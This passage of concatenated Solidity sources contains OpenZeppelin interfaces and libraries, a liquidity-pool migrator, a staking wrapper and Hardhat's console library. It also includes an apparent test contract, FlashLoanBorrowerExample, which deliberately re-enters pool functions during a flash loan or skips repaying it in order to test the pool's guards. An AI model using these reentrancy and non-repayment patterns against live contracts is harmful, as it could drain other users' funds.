address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import "./interfaces/ISwap.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; /** * @title SwapMigrator * @notice This contract is responsible for migrating old USD pool liquidity to the new ones. * Users can use this contract to remove their liquidity from the old pools and add them to the new * ones with a single transaction. */ contract SwapMigrator { using SafeERC20 for IERC20; struct MigrationData { address oldPoolAddress; IERC20 oldPoolLPTokenAddress; address newPoolAddress; IERC20 newPoolLPTokenAddress; IERC20[] underlyingTokens; } MigrationData public usdPoolMigrationData; address public owner; uint256 private constant MAX_UINT256 = 2**256 - 1; /** * @notice Sets the storage variables and approves tokens to be used by the old and new swap contracts * @param usdData_ MigrationData struct with information about old and new USD pools * @param owner_ owner that is allowed to call the `rescue()` function */ constructor(MigrationData memory usdData_, address owner_) public { // Approve old USD LP Token to be used by the old USD pool usdData_.oldPoolLPTokenAddress.approve( usdData_.oldPoolAddress, MAX_UINT256 ); // Approve USD tokens to be used by the new USD pool for (uint256 i = 0; i < usdData_.underlyingTokens.length; i++) { usdData_.underlyingTokens[i].safeApprove( usdData_.newPoolAddress, MAX_UINT256 ); } // Set storage variables usdPoolMigrationData = usdData_; owner = owner_; } /** * @notice Migrates old USD pool's LPToken to the new pool * @param amount Amount of old LPToken to migrate * @param minAmount Minimum amount of new LPToken to receive */ function migrateUSDPool(uint256 amount, uint256 minAmount) external returns (uint256) { // Transfer old LP token from the caller usdPoolMigrationData.oldPoolLPTokenAddress.safeTransferFrom( msg.sender, address(this), amount ); // Remove liquidity from the old pool and add them to the new pool uint256[] memory amounts = ISwap(usdPoolMigrationData.oldPoolAddress) .removeLiquidity( amount, new uint256[](usdPoolMigrationData.underlyingTokens.length), MAX_UINT256 ); uint256 mintedAmount = ISwap(usdPoolMigrationData.newPoolAddress) .addLiquidity(amounts, minAmount, MAX_UINT256); // Transfer new LP Token to the caller usdPoolMigrationData.newPoolLPTokenAddress.safeTransfer( msg.sender, mintedAmount ); return mintedAmount; } /** * @notice Rescues any token that may be sent to this contract accidentally. * @param token Amount of old LPToken to migrate * @param to Minimum amount of new LPToken to receive */ function rescue(IERC20 token, address to) external { require(msg.sender == owner, "is not owner"); token.safeTransfer(to, token.balanceOf(address(this))); } } // SPDX-License-Identifier: MIT // Generalized and adapted from https://github.com/k06a/Unipool 🙇 pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; /** * @title StakeableTokenWrapper * @notice A wrapper for an ERC-20 that can be staked and withdrawn. * @dev In this contract, staked tokens don't do anything- instead other * contracts can inherit from this one to add functionality. */ contract StakeableTokenWrapper { using SafeERC20 for IERC20; using SafeMath for uint256; uint256 public totalSupply; IERC20 public stakedToken; mapping(address => uint256) private _balances; event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); /** * @notice Creates a new StakeableTokenWrapper with given `_stakedToken` address * @param _stakedToken address of a token that will be used to stake */ constructor(IERC20 _stakedToken) public { stakedToken = _stakedToken; } /** * @notice Read how much `account` has staked in this contract * @param account address of an account * @return amount of total staked ERC20(this.stakedToken) by `account` */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } /** * @notice Stakes given `amount` in this contract * @param amount amount of ERC20(this.stakedToken) to stake */ function stake(uint256 amount) external { require(amount != 0, "amount == 0"); totalSupply = totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakedToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } /** * @notice Withdraws given `amount` from this contract * @param amount amount of ERC20(this.stakedToken) to withdraw */ function withdraw(uint256 amount) external { totalSupply = totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakedToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../interfaces/IFlashLoanReceiver.sol"; import "../interfaces/ISwapFlashLoan.sol"; import "hardhat/console.sol"; contract FlashLoanBorrowerExample is IFlashLoanReceiver { using SafeMath for uint256; // Typical executeOperation function should do the 3 following actions // 1. Check if the flashLoan was successful // 2. Do actions with the borrowed tokens // 3. Repay the debt to the `pool` function executeOperation( address pool, address token, uint256 amount, uint256 fee, bytes calldata params ) external override { // 1. Check if the flashLoan was valid require( IERC20(token).balanceOf(address(this)) >= amount, "flashloan is broken?" ); // 2. Do actions with the borrowed token bytes32 paramsHash = keccak256(params); if (paramsHash == keccak256(bytes("dontRepayDebt"))) { return; } else if (paramsHash == keccak256(bytes("reentrancy_addLiquidity"))) { ISwapFlashLoan(pool).addLiquidity( new uint256[](0), 0, block.timestamp ); } else if (paramsHash == keccak256(bytes("reentrancy_swap"))) { ISwapFlashLoan(pool).swap(1, 0, 1e6, 0, now); } else if ( paramsHash == keccak256(bytes("reentrancy_removeLiquidity")) ) { ISwapFlashLoan(pool).removeLiquidity(1e18, new uint256[](0), now); } else if ( paramsHash == keccak256(bytes("reentrancy_removeLiquidityOneToken")) ) { ISwapFlashLoan(pool).removeLiquidityOneToken(1e18, 0, 1e18, now); } // 3. Payback debt uint256 totalDebt = amount.add(fee); IERC20(token).transfer(pool, totalDebt); } function flashLoan( ISwapFlashLoan swap, IERC20 token, uint256 amount, bytes memory params ) external { swap.flashLoan(address(this), token, amount, params); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "./ISwap.sol"; interface ISwapFlashLoan is ISwap { function flashLoan( address receiver, IERC20 token, uint256 amount, bytes memory params ) external; } // SPDX-License-Identifier: MIT pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { 